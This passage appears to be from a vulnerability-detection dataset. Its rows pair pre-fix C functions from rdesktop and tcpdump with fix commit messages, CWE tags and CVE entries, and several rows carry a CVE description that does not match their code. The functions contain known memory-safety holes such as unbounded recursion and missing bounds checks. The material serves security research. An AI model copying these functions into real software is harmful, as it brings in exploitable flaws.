in_uint16_le(s, len_src_descriptor);
in_uint16_le(s, len_combined_caps);
in_uint8s(s, len_src_descriptor);
logger(Protocol, Debug, "process_demand_active(), shareid=0x%x", g_rdp_shareid);
rdp_process_server_caps(s, len_combined_caps);
rdp_send_confirm_active();
rdp_send_synchronise();
rdp_send_control(RDP_CTL_COOPERATE);
rdp_send_control(RDP_CTL_REQUEST_CONTROL);
rdp_recv(&type); /* RDP_PDU_SYNCHRONIZE */
rdp_recv(&type); /* RDP_CTL_COOPERATE */
rdp_recv(&type); /* RDP_CTL_GRANT_CONTROL */
rdp_send_input(0, RDP_INPUT_SYNCHRONIZE, 0,
g_numlock_sync ? ui_get_numlock_state(read_keyboard_state()) : 0, 0);
if (g_rdp_version >= RDP_V5)
{
rdp_enum_bmpcache2();
rdp_send_fonts(3);
}
else
{
rdp_send_fonts(1);
rdp_send_fonts(2);
}
rdp_recv(&type); /* RDP_PDU_UNKNOWN 0x28 (Fonts?) */
reset_order_state();
}
| 50,427,493,118,138,860,000,000,000,000,000,000,000 | rdp.c | 177,705,998,885,746,530,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2018-8799 | rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function process_secondary_order() that results in a Denial of Service (segfault). | https://nvd.nist.gov/vuln/detail/CVE-2018-8799 |
4,156 | rdesktop | 4dca546d04321a610c1835010b5dad85163b65e1 | https://github.com/rdesktop/rdesktop | https://github.com/rdesktop/rdesktop/commit/4dca546d04321a610c1835010b5dad85163b65e1 | Malicious RDP server security fixes
This commit includes fixes for a set of 21 vulnerabilities in
rdesktop when a malicious RDP server is used.
All vulnerabilities was identified and reported by Eyal Itkin.
* Add rdp_protocol_error function that is used in several fixes
* Refactor of process_bitmap_updates
* Fix possible integer overflow in s_check_rem() on 32bit arch
* Fix memory corruption in process_bitmap_data - CVE-2018-8794
* Fix remote code execution in process_bitmap_data - CVE-2018-8795
* Fix remote code execution in process_plane - CVE-2018-8797
* Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175
* Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175
* Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176
* Fix Denial of Service in sec_recv - CVE-2018-20176
* Fix minor information leak in rdpdr_process - CVE-2018-8791
* Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792
* Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793
* Fix Denial of Service in process_bitmap_data - CVE-2018-8796
* Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798
* Fix Denial of Service in process_secondary_order - CVE-2018-8799
* Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800
* Fix major information leak in ui_clip_handle_data - CVE-2018-20174
* Fix memory corruption in rdp_in_unistr - CVE-2018-20177
* Fix Denial of Service in process_demand_active - CVE-2018-20178
* Fix remote code execution in lspci_process - CVE-2018-20179
* Fix remote code execution in rdpsnddbg_process - CVE-2018-20180
* Fix remote code execution in seamless_process - CVE-2018-20181
* Fix remote code execution in seamless_process_line - CVE-2018-20182 | 1 | rdp_in_unistr(STREAM s, int in_len, char **string, uint32 * str_size)
{
static iconv_t icv_utf16_to_local;
size_t ibl, obl;
char *pin, *pout;
if (!icv_utf16_to_local)
{
icv_utf16_to_local = iconv_open(g_codepage, WINDOWS_CODEPAGE);
if (icv_utf16_to_local == (iconv_t) - 1)
{
logger(Protocol, Error, "rdp_in_unistr(), iconv_open[%s -> %s] fail %p",
WINDOWS_CODEPAGE, g_codepage, icv_utf16_to_local);
abort();
}
}
/* Dynamic allocate of destination string if not provided */
if (*string == NULL)
{
*string = xmalloc(in_len * 2);
*str_size = in_len * 2;
}
ibl = in_len;
obl = *str_size - 1;
pin = (char *) s->p;
pout = *string;
if (iconv(icv_utf16_to_local, (char **) &pin, &ibl, &pout, &obl) == (size_t) - 1)
{
if (errno == E2BIG)
{
logger(Protocol, Warning,
"rdp_in_unistr(), server sent an unexpectedly long string, truncating");
}
else
{
logger(Protocol, Warning, "rdp_in_unistr(), iconv fail, errno %d", errno);
free(*string);
*string = NULL;
*str_size = 0;
}
abort();
}
/* we must update the location of the current STREAM for future reads of s->p */
s->p += in_len;
*pout = 0;
if (*string)
*str_size = pout - *string;
}
| 87,473,831,233,998,540,000,000,000,000,000,000,000 | None | null | [
"CWE-119"
] | CVE-2018-8799 | rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function process_secondary_order() that results in a Denial of Service (segfault). | https://nvd.nist.gov/vuln/detail/CVE-2018-8799 |
4,157 | rdesktop | 4dca546d04321a610c1835010b5dad85163b65e1 | https://github.com/rdesktop/rdesktop | https://github.com/rdesktop/rdesktop/commit/4dca546d04321a610c1835010b5dad85163b65e1 | Malicious RDP server security fixes
This commit includes fixes for a set of 21 vulnerabilities in
rdesktop when a malicious RDP server is used.
All vulnerabilities was identified and reported by Eyal Itkin.
* Add rdp_protocol_error function that is used in several fixes
* Refactor of process_bitmap_updates
* Fix possible integer overflow in s_check_rem() on 32bit arch
* Fix memory corruption in process_bitmap_data - CVE-2018-8794
* Fix remote code execution in process_bitmap_data - CVE-2018-8795
* Fix remote code execution in process_plane - CVE-2018-8797
* Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175
* Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175
* Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176
* Fix Denial of Service in sec_recv - CVE-2018-20176
* Fix minor information leak in rdpdr_process - CVE-2018-8791
* Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792
* Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793
* Fix Denial of Service in process_bitmap_data - CVE-2018-8796
* Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798
* Fix Denial of Service in process_secondary_order - CVE-2018-8799
* Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800
* Fix major information leak in ui_clip_handle_data - CVE-2018-20174
* Fix memory corruption in rdp_in_unistr - CVE-2018-20177
* Fix Denial of Service in process_demand_active - CVE-2018-20178
* Fix remote code execution in lspci_process - CVE-2018-20179
* Fix remote code execution in rdpsnddbg_process - CVE-2018-20180
* Fix remote code execution in seamless_process - CVE-2018-20181
* Fix remote code execution in seamless_process_line - CVE-2018-20182 | 1 | rdpdr_process(STREAM s)
{
uint32 handle;
uint16 vmin;
uint16 component;
uint16 pakid;
logger(Protocol, Debug, "rdpdr_process()");
/* hexdump(s->p, s->end - s->p); */
in_uint16(s, component);
in_uint16(s, pakid);
if (component == RDPDR_CTYP_CORE)
{
switch (pakid)
{
case PAKID_CORE_DEVICE_IOREQUEST:
rdpdr_process_irp(s);
break;
case PAKID_CORE_SERVER_ANNOUNCE:
/* DR_CORE_SERVER_ANNOUNCE_REQ */
in_uint8s(s, 2); /* skip versionMajor */
in_uint16_le(s, vmin); /* VersionMinor */
in_uint32_le(s, g_client_id); /* ClientID */
/* The RDP client is responsibility to provide a random client id
if server version is < 12 */
if (vmin < 0x000c)
g_client_id = 0x815ed39d; /* IP address (use 127.0.0.1) 0x815ed39d */
g_epoch++;
#if WITH_SCARD
/*
* We need to release all SCARD contexts to end all
* current transactions and pending calls
*/
scard_release_all_contexts();
/*
* According to [MS-RDPEFS] 3.2.5.1.2:
*
* If this packet appears after a sequence of other packets,
* it is a signal that the server has reconnected to a new session
* and the whole sequence has been reset. The client MUST treat
* this packet as the beginning of a new sequence.
* The client MUST also cancel all outstanding requests and release
* previous references to all devices.
*
* If any problem arises in the future, please, pay attention to the
* "If this packet appears after a sequence of other packets" part
*
*/
#endif
rdpdr_send_client_announce_reply();
rdpdr_send_client_name_request();
break;
case PAKID_CORE_CLIENTID_CONFIRM:
rdpdr_send_client_device_list_announce();
break;
case PAKID_CORE_DEVICE_REPLY:
in_uint32(s, handle);
logger(Protocol, Debug,
"rdpdr_process(), server connected to resource %d", handle);
break;
case PAKID_CORE_SERVER_CAPABILITY:
rdpdr_send_client_capability_response();
break;
default:
logger(Protocol, Debug,
"rdpdr_process(), pakid 0x%x of component 0x%x", pakid,
component);
break;
}
}
else if (component == RDPDR_CTYP_PRN)
{
if (pakid == PAKID_PRN_CACHE_DATA)
printercache_process(s);
}
else
logger(Protocol, Warning, "rdpdr_process(), unhandled component 0x%x", component);
}
| 130,790,675,046,993,960,000,000,000,000,000,000,000 | rdpdr.c | 63,172,116,204,848,340,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2018-8799 | rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function process_secondary_order() that results in a Denial of Service (segfault). | https://nvd.nist.gov/vuln/detail/CVE-2018-8799 |
4,159 | rdesktop | 4dca546d04321a610c1835010b5dad85163b65e1 | https://github.com/rdesktop/rdesktop | https://github.com/rdesktop/rdesktop/commit/4dca546d04321a610c1835010b5dad85163b65e1 | Malicious RDP server security fixes
This commit includes fixes for a set of 21 vulnerabilities in
rdesktop when a malicious RDP server is used.
All vulnerabilities was identified and reported by Eyal Itkin.
* Add rdp_protocol_error function that is used in several fixes
* Refactor of process_bitmap_updates
* Fix possible integer overflow in s_check_rem() on 32bit arch
* Fix memory corruption in process_bitmap_data - CVE-2018-8794
* Fix remote code execution in process_bitmap_data - CVE-2018-8795
* Fix remote code execution in process_plane - CVE-2018-8797
* Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175
* Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175
* Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176
* Fix Denial of Service in sec_recv - CVE-2018-20176
* Fix minor information leak in rdpdr_process - CVE-2018-8791
* Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792
* Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793
* Fix Denial of Service in process_bitmap_data - CVE-2018-8796
* Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798
* Fix Denial of Service in process_secondary_order - CVE-2018-8799
* Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800
* Fix major information leak in ui_clip_handle_data - CVE-2018-20174
* Fix memory corruption in rdp_in_unistr - CVE-2018-20177
* Fix Denial of Service in process_demand_active - CVE-2018-20178
* Fix remote code execution in lspci_process - CVE-2018-20179
* Fix remote code execution in rdpsnddbg_process - CVE-2018-20180
* Fix remote code execution in seamless_process - CVE-2018-20181
* Fix remote code execution in seamless_process_line - CVE-2018-20182 | 1 | seamless_process(STREAM s)
{
unsigned int pkglen;
char *buf;
pkglen = s->end - s->p;
/* str_handle_lines requires null terminated strings */
buf = xmalloc(pkglen + 1);
STRNCPY(buf, (char *) s->p, pkglen + 1);
str_handle_lines(buf, &seamless_rest, seamless_line_handler, NULL);
xfree(buf);
}
| 58,925,099,420,725,390,000,000,000,000,000,000,000 | seamless.c | 132,321,470,131,883,330,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2018-8799 | rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function process_secondary_order() that results in a Denial of Service (segfault). | https://nvd.nist.gov/vuln/detail/CVE-2018-8799 |
4,163 | tcpdump | 24182d959f661327525a20d9a94c98a8ec016778 | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/24182d959f661327525a20d9a94c98a8ec016778 | (for 4.9.3) CVE-2018-16452/SMB: prevent stack exhaustion
Enforce a limit on how many times smb_fdata() can recurse.
This fixes a stack exhaustion discovered by Include Security working
under the Mozilla SOS program in 2018 by means of code audit. | 1 | smb_fdata(netdissect_options *ndo,
const u_char *buf, const char *fmt, const u_char *maxbuf,
int unicodestr)
{
static int depth = 0;
char s[128];
char *p;
while (*fmt) {
switch (*fmt) {
case '*':
fmt++;
while (buf < maxbuf) {
const u_char *buf2;
depth++;
buf2 = smb_fdata(ndo, buf, fmt, maxbuf, unicodestr);
depth--;
if (buf2 == NULL)
return(NULL);
if (buf2 == buf)
return(buf);
buf = buf2;
}
return(buf);
case '|':
fmt++;
if (buf >= maxbuf)
return(buf);
break;
case '%':
fmt++;
buf = maxbuf;
break;
case '#':
fmt++;
return(buf);
break;
case '[':
fmt++;
if (buf >= maxbuf)
return(buf);
memset(s, 0, sizeof(s));
p = strchr(fmt, ']');
if ((size_t)(p - fmt + 1) > sizeof(s)) {
/* overrun */
return(buf);
}
strncpy(s, fmt, p - fmt);
s[p - fmt] = '\0';
fmt = p + 1;
buf = smb_fdata1(ndo, buf, s, maxbuf, unicodestr);
if (buf == NULL)
return(NULL);
break;
default:
ND_PRINT((ndo, "%c", *fmt));
fmt++;
break;
}
}
if (!depth && buf < maxbuf) {
size_t len = PTR_DIFF(maxbuf, buf);
ND_PRINT((ndo, "Data: (%lu bytes)\n", (unsigned long)len));
smb_print_data(ndo, buf, len);
return(buf + len);
}
return(buf);
}
| 244,595,164,974,697,600,000,000,000,000,000,000,000 | smbutil.c | 40,949,174,088,914,413,000,000,000,000,000,000,000 | [
"CWE-674"
] | CVE-2018-16452 | The SMB parser in tcpdump before 4.9.3 has stack exhaustion in smbutil.c:smb_fdata() via recursion. | https://nvd.nist.gov/vuln/detail/CVE-2018-16452 |
4,164 | tcpdump | 96480ab95308cd9234b4f09b175ebf60e17792c6 | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/96480ab95308cd9234b4f09b175ebf60e17792c6 | (for 4.9.3) SMB: Add two missing bounds checks | 1 | print_trans(netdissect_options *ndo,
const u_char *words, const u_char *data1, const u_char *buf, const u_char *maxbuf)
{
u_int bcc;
const char *f1, *f2, *f3, *f4;
const u_char *data, *param;
const u_char *w = words + 1;
int datalen, paramlen;
if (request) {
ND_TCHECK2(w[12 * 2], 2);
paramlen = EXTRACT_LE_16BITS(w + 9 * 2);
param = buf + EXTRACT_LE_16BITS(w + 10 * 2);
datalen = EXTRACT_LE_16BITS(w + 11 * 2);
data = buf + EXTRACT_LE_16BITS(w + 12 * 2);
f1 = "TotParamCnt=[d] \nTotDataCnt=[d] \nMaxParmCnt=[d] \nMaxDataCnt=[d]\nMaxSCnt=[d] \nTransFlags=[w] \nRes1=[w] \nRes2=[w] \nRes3=[w]\nParamCnt=[d] \nParamOff=[d] \nDataCnt=[d] \nDataOff=[d] \nSUCnt=[d]\n";
f2 = "|Name=[S]\n";
f3 = "|Param ";
f4 = "|Data ";
} else {
ND_TCHECK2(w[7 * 2], 2);
paramlen = EXTRACT_LE_16BITS(w + 3 * 2);
param = buf + EXTRACT_LE_16BITS(w + 4 * 2);
datalen = EXTRACT_LE_16BITS(w + 6 * 2);
data = buf + EXTRACT_LE_16BITS(w + 7 * 2);
f1 = "TotParamCnt=[d] \nTotDataCnt=[d] \nRes1=[d]\nParamCnt=[d] \nParamOff=[d] \nRes2=[d] \nDataCnt=[d] \nDataOff=[d] \nRes3=[d]\nLsetup=[d]\n";
f2 = "|Unknown ";
f3 = "|Param ";
f4 = "|Data ";
}
smb_fdata(ndo, words + 1, f1, min(words + 1 + 2 * words[0], maxbuf),
unicodestr);
ND_TCHECK2(*data1, 2);
bcc = EXTRACT_LE_16BITS(data1);
ND_PRINT((ndo, "smb_bcc=%u\n", bcc));
if (bcc > 0) {
smb_fdata(ndo, data1 + 2, f2, maxbuf - (paramlen + datalen), unicodestr);
if (strcmp((const char *)(data1 + 2), "\\MAILSLOT\\BROWSE") == 0) {
print_browse(ndo, param, paramlen, data, datalen);
return;
}
if (strcmp((const char *)(data1 + 2), "\\PIPE\\LANMAN") == 0) {
print_ipc(ndo, param, paramlen, data, datalen);
return;
}
if (paramlen)
smb_fdata(ndo, param, f3, min(param + paramlen, maxbuf), unicodestr);
if (datalen)
smb_fdata(ndo, data, f4, min(data + datalen, maxbuf), unicodestr);
}
return;
trunc:
ND_PRINT((ndo, "%s", tstr));
}
| 290,096,538,158,812,750,000,000,000,000,000,000,000 | print-smb.c | 242,560,732,155,246,320,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-16451 | The SMB parser in tcpdump before 4.9.3 has buffer over-reads in print-smb.c:print_trans() for \MAILSLOT\BROWSE and \PIPE\LANMAN. | https://nvd.nist.gov/vuln/detail/CVE-2018-16451 |
4,165 | tcpdump | af2cf04a9394c1a56227c2289ae8da262828294a | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/af2cf04a9394c1a56227c2289ae8da262828294a | (for 4.9.3) CVE-2018-16300/BGP: prevent stack exhaustion
Enforce a limit on how many times bgp_attr_print() can recurse.
This fixes a stack exhaustion discovered by Include Security working
under the Mozilla SOS program in 2018 by means of code audit. | 1 | bgp_attr_print(netdissect_options *ndo,
u_int atype, const u_char *pptr, u_int len)
{
int i;
uint16_t af;
uint8_t safi, snpa, nhlen;
union { /* copy buffer for bandwidth values */
float f;
uint32_t i;
} bw;
int advance;
u_int tlen;
const u_char *tptr;
char buf[MAXHOSTNAMELEN + 100];
int as_size;
tptr = pptr;
tlen=len;
switch (atype) {
case BGPTYPE_ORIGIN:
if (len != 1)
ND_PRINT((ndo, "invalid len"));
else {
ND_TCHECK(*tptr);
ND_PRINT((ndo, "%s", tok2str(bgp_origin_values,
"Unknown Origin Typecode",
tptr[0])));
}
break;
/*
* Process AS4 byte path and AS2 byte path attributes here.
*/
case BGPTYPE_AS4_PATH:
case BGPTYPE_AS_PATH:
if (len % 2) {
ND_PRINT((ndo, "invalid len"));
break;
}
if (!len) {
ND_PRINT((ndo, "empty"));
break;
}
/*
* BGP updates exchanged between New speakers that support 4
* byte AS, ASs are always encoded in 4 bytes. There is no
* definitive way to find this, just by the packet's
* contents. So, check for packet's TLV's sanity assuming
* 2 bytes first, and it does not pass, assume that ASs are
* encoded in 4 bytes format and move on.
*/
as_size = bgp_attr_get_as_size(ndo, atype, pptr, len);
while (tptr < pptr + len) {
ND_TCHECK(tptr[0]);
ND_PRINT((ndo, "%s", tok2str(bgp_as_path_segment_open_values,
"?", tptr[0])));
ND_TCHECK(tptr[1]);
for (i = 0; i < tptr[1] * as_size; i += as_size) {
ND_TCHECK2(tptr[2 + i], as_size);
ND_PRINT((ndo, "%s ",
as_printf(ndo, astostr, sizeof(astostr),
as_size == 2 ?
EXTRACT_16BITS(&tptr[2 + i]) :
EXTRACT_32BITS(&tptr[2 + i]))));
}
ND_TCHECK(tptr[0]);
ND_PRINT((ndo, "%s", tok2str(bgp_as_path_segment_close_values,
"?", tptr[0])));
ND_TCHECK(tptr[1]);
tptr += 2 + tptr[1] * as_size;
}
break;
case BGPTYPE_NEXT_HOP:
if (len != 4)
ND_PRINT((ndo, "invalid len"));
else {
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%s", ipaddr_string(ndo, tptr)));
}
break;
case BGPTYPE_MULTI_EXIT_DISC:
case BGPTYPE_LOCAL_PREF:
if (len != 4)
ND_PRINT((ndo, "invalid len"));
else {
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%u", EXTRACT_32BITS(tptr)));
}
break;
case BGPTYPE_ATOMIC_AGGREGATE:
if (len != 0)
ND_PRINT((ndo, "invalid len"));
break;
case BGPTYPE_AGGREGATOR:
/*
* Depending on the AS encoded is of 2 bytes or of 4 bytes,
* the length of this PA can be either 6 bytes or 8 bytes.
*/
if (len != 6 && len != 8) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_TCHECK2(tptr[0], len);
if (len == 6) {
ND_PRINT((ndo, " AS #%s, origin %s",
as_printf(ndo, astostr, sizeof(astostr), EXTRACT_16BITS(tptr)),
ipaddr_string(ndo, tptr + 2)));
} else {
ND_PRINT((ndo, " AS #%s, origin %s",
as_printf(ndo, astostr, sizeof(astostr),
EXTRACT_32BITS(tptr)), ipaddr_string(ndo, tptr + 4)));
}
break;
case BGPTYPE_AGGREGATOR4:
if (len != 8) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, " AS #%s, origin %s",
as_printf(ndo, astostr, sizeof(astostr), EXTRACT_32BITS(tptr)),
ipaddr_string(ndo, tptr + 4)));
break;
case BGPTYPE_COMMUNITIES:
if (len % 4) {
ND_PRINT((ndo, "invalid len"));
break;
}
while (tlen>0) {
uint32_t comm;
ND_TCHECK2(tptr[0], 4);
comm = EXTRACT_32BITS(tptr);
switch (comm) {
case BGP_COMMUNITY_NO_EXPORT:
ND_PRINT((ndo, " NO_EXPORT"));
break;
case BGP_COMMUNITY_NO_ADVERT:
ND_PRINT((ndo, " NO_ADVERTISE"));
break;
case BGP_COMMUNITY_NO_EXPORT_SUBCONFED:
ND_PRINT((ndo, " NO_EXPORT_SUBCONFED"));
break;
default:
ND_PRINT((ndo, "%u:%u%s",
(comm >> 16) & 0xffff,
comm & 0xffff,
(tlen>4) ? ", " : ""));
break;
}
tlen -=4;
tptr +=4;
}
break;
case BGPTYPE_ORIGINATOR_ID:
if (len != 4) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%s",ipaddr_string(ndo, tptr)));
break;
case BGPTYPE_CLUSTER_LIST:
if (len % 4) {
ND_PRINT((ndo, "invalid len"));
break;
}
while (tlen>0) {
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%s%s",
ipaddr_string(ndo, tptr),
(tlen>4) ? ", " : ""));
tlen -=4;
tptr +=4;
}
break;
case BGPTYPE_MP_REACH_NLRI:
ND_TCHECK2(tptr[0], 3);
af = EXTRACT_16BITS(tptr);
safi = tptr[2];
ND_PRINT((ndo, "\n\t AFI: %s (%u), %sSAFI: %s (%u)",
tok2str(af_values, "Unknown AFI", af),
af,
(safi>128) ? "vendor specific " : "", /* 128 is meanwhile wellknown */
tok2str(bgp_safi_values, "Unknown SAFI", safi),
safi));
switch(af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN):
case (AFNUM_INET<<8 | SAFNUM_MDT):
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
break;
default:
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "\n\t no AFI %u / SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", tlen);
goto done;
break;
}
tptr +=3;
ND_TCHECK(tptr[0]);
nhlen = tptr[0];
tlen = nhlen;
tptr++;
if (tlen) {
int nnh = 0;
ND_PRINT((ndo, "\n\t nexthop: "));
while (tlen > 0) {
if ( nnh++ > 0 ) {
ND_PRINT((ndo, ", " ));
}
switch(af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN):
case (AFNUM_INET<<8 | SAFNUM_MDT):
if (tlen < (int)sizeof(struct in_addr)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in_addr));
ND_PRINT((ndo, "%s",ipaddr_string(ndo, tptr)));
tlen -= sizeof(struct in_addr);
tptr += sizeof(struct in_addr);
}
break;
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < (int)(sizeof(struct in_addr)+BGP_VPN_RD_LEN)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in_addr)+BGP_VPN_RD_LEN);
ND_PRINT((ndo, "RD: %s, %s",
bgp_vpn_rd_print(ndo, tptr),
ipaddr_string(ndo, tptr+BGP_VPN_RD_LEN)));
tlen -= (sizeof(struct in_addr)+BGP_VPN_RD_LEN);
tptr += (sizeof(struct in_addr)+BGP_VPN_RD_LEN);
}
break;
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
if (tlen < (int)sizeof(struct in6_addr)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in6_addr));
ND_PRINT((ndo, "%s", ip6addr_string(ndo, tptr)));
tlen -= sizeof(struct in6_addr);
tptr += sizeof(struct in6_addr);
}
break;
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < (int)(sizeof(struct in6_addr)+BGP_VPN_RD_LEN)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in6_addr)+BGP_VPN_RD_LEN);
ND_PRINT((ndo, "RD: %s, %s",
bgp_vpn_rd_print(ndo, tptr),
ip6addr_string(ndo, tptr+BGP_VPN_RD_LEN)));
tlen -= (sizeof(struct in6_addr)+BGP_VPN_RD_LEN);
tptr += (sizeof(struct in6_addr)+BGP_VPN_RD_LEN);
}
break;
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < (int)sizeof(struct in_addr)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in_addr));
ND_PRINT((ndo, "%s", ipaddr_string(ndo, tptr)));
tlen -= (sizeof(struct in_addr));
tptr += (sizeof(struct in_addr));
}
break;
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "%s", isonsap_string(ndo, tptr, tlen)));
tptr += tlen;
tlen = 0;
break;
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < BGP_VPN_RD_LEN+1) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "RD: %s, %s",
bgp_vpn_rd_print(ndo, tptr),
isonsap_string(ndo, tptr+BGP_VPN_RD_LEN,tlen-BGP_VPN_RD_LEN)));
/* rfc986 mapped IPv4 address ? */
if (tlen == BGP_VPN_RD_LEN + 4 + sizeof(struct in_addr)
&& EXTRACT_32BITS(tptr+BGP_VPN_RD_LEN) == 0x47000601)
ND_PRINT((ndo, " = %s", ipaddr_string(ndo, tptr+BGP_VPN_RD_LEN+4)));
/* rfc1888 mapped IPv6 address ? */
else if (tlen == BGP_VPN_RD_LEN + 3 + sizeof(struct in6_addr)
&& EXTRACT_24BITS(tptr+BGP_VPN_RD_LEN) == 0x350000)
ND_PRINT((ndo, " = %s", ip6addr_string(ndo, tptr+BGP_VPN_RD_LEN+3)));
tptr += tlen;
tlen = 0;
}
break;
default:
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "no AFI %u/SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", tlen);
tptr += tlen;
tlen = 0;
goto done;
break;
}
}
}
ND_PRINT((ndo, ", nh-length: %u", nhlen));
tptr += tlen;
ND_TCHECK(tptr[0]);
snpa = tptr[0];
tptr++;
if (snpa) {
ND_PRINT((ndo, "\n\t %u SNPA", snpa));
for (/*nothing*/; snpa > 0; snpa--) {
ND_TCHECK(tptr[0]);
ND_PRINT((ndo, "\n\t %d bytes", tptr[0]));
tptr += tptr[0] + 1;
}
} else {
ND_PRINT((ndo, ", no SNPA"));
}
